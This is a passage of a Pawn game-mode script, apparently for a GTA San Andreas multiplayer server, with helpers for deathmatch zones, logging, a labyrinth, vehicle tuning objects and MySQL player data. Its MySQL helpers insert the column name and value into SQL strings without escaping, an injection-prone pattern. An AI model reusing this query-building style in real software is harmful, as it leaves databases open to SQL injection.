  7654.   new remainder = number % 2;
  7655.   if(remainder > 0) return false;
  7656.   else return true;
  7657. }
  7658. IsPlayerInDM(playerid)
  7659. {
  7660.         if(IsPlayerInDynamicArea(playerid, DM_Zone[0])
  7661.                 || IsPlayerInDynamicArea(playerid, DM_Zone[1])
  7662.                 || IsPlayerInDynamicArea(playerid, DM_Zone[2])
  7663.                 || IsPlayerInDynamicArea(playerid, DM_Zone[3])
  7664.                 || IsPlayerInDynamicArea(playerid, DM_Zone[4]) ) return 1;
  7665.  
  7666.         return 0;
  7667. }
  7668.  
  7669. WriteLog(const log[])
  7670. {
  7671.         static wl_date[3], wl_time[3], wl_str[160], wl_file[32];
  7672.  
  7673.         getdate(wl_date[0], wl_date[1], wl_date[2]);
  7674.         gettime(wl_time[0], wl_time[1], wl_time[2]);
  7675.  
  7676.         format(wl_str, sizeof wl_str, "[%02d:%02d:%02d] %s\r\n", wl_time[0], wl_time[1], wl_time[2], log);
  7677.         format(wl_file, sizeof wl_file, "Logs/%d.%d.%d.txt", wl_date[0], wl_date[1], wl_date[2]);
  7678.  
  7679.         if(!fexist(wl_file))
  7680.         {
  7681.             new File:cfile = fopen(wl_file, io_readwrite);
  7682.                 fwrite(cfile, "");
  7683.                 fclose(cfile);
  7684.         }
  7685.         new File:flog = fopen(wl_file, io_append);
  7686.         fwrite(flog, wl_str);
  7687.         fclose(flog);
  7688.         return 1;
  7689. }
  7690. new LabiryntOBJ[197];
  7691. CreateLabitynt()
  7692. {
  7693.         new Float:angles[4] = {0.0, 90.0, -90.0, 180.0};
  7694.         new Float:x = 2230.0;
  7695.         new Float:y = 2874.0;
  7696.         new obj;
  7697.  
  7698.         for(new i; i < 14; i++)
  7699.         {
  7700.             x = 2230.0;
  7701.             for(new o; o < 14; o++)
  7702.             {
  7703.                         LabiryntOBJ[obj] = CreateDynamicObject(3095, x,y, 1241.90, 0.00, 90.00, angles[random(sizeof angles)]);
  7704.                         obj++;
  7705.             x = x - 9;
  7706.                 }
  7707.                 y = y - 9;
  7708.         }
  7709.         printf("Labirynt: %d", obj+1);
  7710.         return 1;
  7711. }
  7712. forward Labirynt();
  7713. public Labirynt()
  7714. {
  7715.         new Float:angles[4] = {0.0, 90.0, -90.0, 180.0};
  7716.         for(new i; i < sizeof LabiryntOBJ; i++)
  7717.         {
  7718.             SetDynamicObjectRot(LabiryntOBJ[i], 0.0, 90.0, angles[random(sizeof angles)]);
  7719.         }
  7720.         return 1;
  7721. }
  7722. IsAllowWeapon(wid)
  7723. {
  7724.         for(new i; i < sizeof AllowWeapon; i++)
  7725.         {
  7726.                 if(AllowWeapon[i] == wid) return 1;
  7727.         }
  7728.         return 0;
  7729. }
  7730. stock IsTir(model)
  7731. {
  7732.         switch(model)
  7733.         {
  7734.             case 403: return 1;
  7735.             case 514: return 1;
  7736.             case 515: return 1;
  7737.         }
  7738.         return 0;
  7739. }
  7740. stock IsCiezarowka(model)
  7741. {
  7742.         switch(model)
  7743.         {
  7744.             case 499: return 1;
  7745.             case 422: return 1;
  7746.             case 482: return 1;
  7747.             case 498: return 1;
  7748.             case 609: return 1;
  7749.             case 524: return 1;
  7750.             case 455: return 1;
  7751.             case 414: return 1;
  7752.             case 600: return 1;
  7753.             case 413: return 1;
  7754.             case 440: return 1;
  7755.             case 543: return 1;
  7756.             case 459: return 1;
  7757.             case 478: return 1;
  7758.             case 456: return 1;
  7759.             case 433: return 1;
  7760.         }
  7761.         return 0;
  7762. }
  7763. stock RandomLadunek(id)
  7764. {
  7765.         new rand = id;
  7766.         while(rand == id)
  7767.         {
  7768.                 rand = random(TrucksCount);
  7769.         }
  7770.         return rand;
  7771. }
  7772. stock SetIcon(playerid, Float:x, Float:y, Float:z, iconid, type, color = 0x00000000)
  7773. {
  7774.         RemovePlayerMapIcon(playerid, 99);
  7775.         SetPlayerMapIcon(playerid, 99,x,y,z,iconid, color,type);
  7776.         return 1;
  7777. }
  7778.  
  7779. forward Float:PointToPoint(Float:x, Float:y, Float:x2, Float:y2);
  7780. stock Float:PointToPoint(Float:x, Float:y, Float:x2, Float:y2)
  7781.     return floatsqroot((x2-x)*(x2-x)+(y2-y)*(y2-y));
  7782.  
  7783. stock TuneObjectVehicle(vehicleid)
  7784. {
  7785.         new i = GetVehicleModel(vehicleid);
  7786.  
  7787.         if(vObject[vehicleid][0] != -1)
  7788.         {
  7789.             DestroyDynamicObject(vObject[vehicleid][0]);
  7790.             vObject[vehicleid][0] = -1;
  7791.         }
  7792.         if(vObject[vehicleid][1] != -1)
  7793.         {
  7794.             DestroyDynamicObject(vObject[vehicleid][1]);
  7795.             vObject[vehicleid][1] = -1;
  7796.         }
  7797.  
  7798.         switch(i)
  7799.         {
  7800.             case 522:
  7801.         {
  7802.             vObject[vehicleid][0] = CreateDynamicObject(18702, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7803.                         AttachDynamicObjectToVehicle(vObject[vehicleid][0],vehicleid, 0.00,-1.125000,-1.049999,0.00,0.00,0.00);
  7804.             vObject[vehicleid][1] = CreateDynamicObject(1019, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7805.                         AttachDynamicObjectToVehicle(vObject[vehicleid][1],vehicleid, 0.000000,-0.3,0.225,-18.9,0.0,0.0);
  7806.                         return 1;
  7807.         }
  7808.         case 562:
  7809.         {
  7810.             vObject[vehicleid][0] = CreateDynamicObject(18646, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7811.                 AttachDynamicObjectToVehicle(vObject[vehicleid][0], vehicleid, -0.225000,-0.150000,0.824999,0.00,0.00,0.00);
  7812.                 return 1;
  7813.         }
  7814.         case 411:
  7815.                 {
  7816.                     vObject[vehicleid][0] = CreateDynamicObject(3267, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7817.                 AttachDynamicObjectToVehicle(vObject[vehicleid][0], vehicleid, 0.000000, -0.1275, 0.105, 0.0, 0.0, 0.0);
  7818.                 return 1;
  7819.                 }
  7820.                 case 470:
  7821.                 {
  7822.                         vObject[vehicleid][0] = CreateDynamicObject(2985, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7823.                         AttachDynamicObjectToVehicle(vObject[vehicleid][0], vehicleid, 1.065, 0.774, 0.155, 90.45, -0.0, 89.44);
  7824.                         return 1;
  7825.                 }
  7826.                 case 539:
  7827.                 {
  7828.                         vObject[vehicleid][0] = CreateDynamicObject(18782, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7829.                         AttachDynamicObjectToVehicle(vObject[vehicleid][0], vehicleid, -0.435, 0.0, 0.585, 0.0, 0.0, 0.0);
  7830.                         return 1;
  7831.                 }
  7832.                 case 560:
  7833.                 {
  7834.                         vObject[vehicleid][0] = CreateDynamicObject(1003, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7835.                         AttachDynamicObjectToVehicle(vObject[vehicleid][0], vehicleid, 0.0,-1.2,0.6,0.0,0.0,0.0);
  7836.                         return 1;
  7837.                 }
  7838.                 case 587:
  7839.                 {
  7840.                         vObject[vehicleid][0] = CreateDynamicObject(1012, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7841.                         AttachDynamicObjectToVehicle(vObject[vehicleid][0], vehicleid, 0.0,1.2,0.225,0.0,0.0,0.0);
  7842.                         vObject[vehicleid][1] = CreateDynamicObject(1003, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7843.                         AttachDynamicObjectToVehicle(vObject[vehicleid][1], vehicleid, 0.0,-2.325,0.225,0.0,0.0,0.0);
  7844.                         return 1;
  7845.                 }
  7846.                 case 451:
  7847.                 {
  7848.                         vObject[vehicleid][0] = CreateDynamicObject(1006, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7849.                         AttachDynamicObjectToVehicle(vObject[vehicleid][0], vehicleid, 0.225,-0.2250,0.525,0.0,0.0,0.0);
  7850.                         vObject[vehicleid][1] = CreateDynamicObject(1006, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7851.                         AttachDynamicObjectToVehicle(vObject[vehicleid][1], vehicleid, -0.225,-0.225,0.525,0.0,0.0,0.0);
  7852.                         return 1;
  7853.                 }
  7854.                 case 540:
  7855.                 {
  7856.                         vObject[vehicleid][0] = CreateDynamicObject(362, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7857.                         AttachDynamicObjectToVehicle(vObject[vehicleid][0], vehicleid, -0.0,-0.3,1.0,-0.0,30.0,90.0);
  7858.                         return 1;
  7859.                 }//
  7860.                 case 482:
  7861.                 {
  7862.                         vObject[vehicleid][0] = CreateDynamicObject(2232, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7863.                         AttachDynamicObjectToVehicle(vObject[vehicleid][0], vehicleid, -0.0,0.0,-0.0,0.0,0.0,180.0);
  7864.                         vObject[vehicleid][1] = CreateDynamicObject(1016, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7865.                         AttachDynamicObjectToVehicle(vObject[vehicleid][1], vehicleid, 0.0,0.0,0.0,-25.0,0.0,0.0);
  7866.                         return 1;
  7867.                 }
  7868.                 case 549:
  7869.                 {
  7870.                         vObject[vehicleid][0] = CreateDynamicObject(728, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7871.                         AttachDynamicObjectToVehicle(vObject[vehicleid][0], vehicleid, 0.0,0.0,-1.35,0.0,0.0,0.0);
  7872.                         vObject[vehicleid][1] = CreateDynamicObject(728, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7873.                         AttachDynamicObjectToVehicle(vObject[vehicleid][1], vehicleid, 0.075,-1.05,-1.35,0.0,0.0,-202.5);
  7874.                         return 1;
  7875.                 }
  7876.                 case 535:
  7877.                 {
  7878.                         vObject[vehicleid][0] = CreateDynamicObject(19128, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7879.                         AttachDynamicObjectToVehicle(vObject[vehicleid][0], vehicleid, 0.0,0.0,-0.7,0.0,0.0,0.0);
  7880.                         vObject[vehicleid][1] = CreateDynamicObject(370, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7881.                         AttachDynamicObjectToVehicle(vObject[vehicleid][1], vehicleid, 0.0,-1.725,0.15,-90.0,0.0,0.0);
  7882.                         return 1;
  7883.                 }
  7884.                 case 431:
  7885.                 {
  7886.                         vObject[vehicleid][0] = CreateDynamicObject(18651, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7887.                         AttachDynamicObjectToVehicle(vObject[vehicleid][0], vehicleid,  0.0,0.0,2.175,0.0,0.0,0.0);
  7888.                         vObject[vehicleid][1] = CreateDynamicObject(18646, 0.0, 0.0, -1000.0, 0, 0, 0, 0, 0, -1, 100.0);
  7889.                         AttachDynamicObjectToVehicle(vObject[vehicleid][1], vehicleid,0.0,2.0,2.175,0.0,0.0,0.0);
  7890.                         return 1;
  7891.                 }
  7892.         }
  7893.         return 0;
  7894. }
  7895. stock ToTime(sec)
  7896. {
  7897.         new h, m;
  7898.         m = sec;
  7899.         while (m >= 60)
  7900.         {
  7901.                 h++;
  7902.                 m -= 60;
  7903.         }
  7904.         new xstr[1000];
  7905.         format(xstr, 16, "~g~%d~r~:~g~%02d", h, m);
  7906.         return xstr;
  7907. }
  7908.  
  7909.  
  7910. stock mysql_PlayerSet(player[], key[], value[]) {
  7911.         new nick[30], string2[300];
  7912.  
  7913.         mysql_real_escape_string(player, nick);
  7914.  
  7915.         format(string2, sizeof(string2), "update players set %s='%s' where nick='%s'", key, value, nick);
  7916.         mysql_query(string2);
  7917.  
  7918.         return 1;
  7919. }
  7920.  
  7921. stock mysql_PlayerIntSet(player[], key[], value) {
  7922.         new nick[30], string2[300];
  7923.  
  7924.         mysql_real_escape_string(player, nick);
  7925.  
  7926.         format(string2, sizeof(string2), "update players set %s='%d' where nick='%s'", key, value, nick);
  7927.         mysql_query(string2);
  7928.  
  7929.         return 1;
  7930. }
  7931.  
  7932. stock mysql_PlayerGetInt(player[], key[]) {
  7933.         new tmpres;
  7934.  
  7935.         new nick[30], string2[300];
  7936.         mysql_real_escape_string(player, nick);
  7937.  
  7938.         format(string2, sizeof(string2), "select %s from players where nick='%s'", key, nick);
  7939.         mysql_query(string2);
  7940.  
  7941.         mysql_store_result();
  7942.         if(!mysql_num_rows())
  7943.         {
  7944.                 mysql_free_result();
  7945.                 return 0;
  7946.         }
  7947.         tmpres = mysql_fetch_int();
  7948.         mysql_free_result();
  7949.  
  7950.         return tmpres;
  7951. }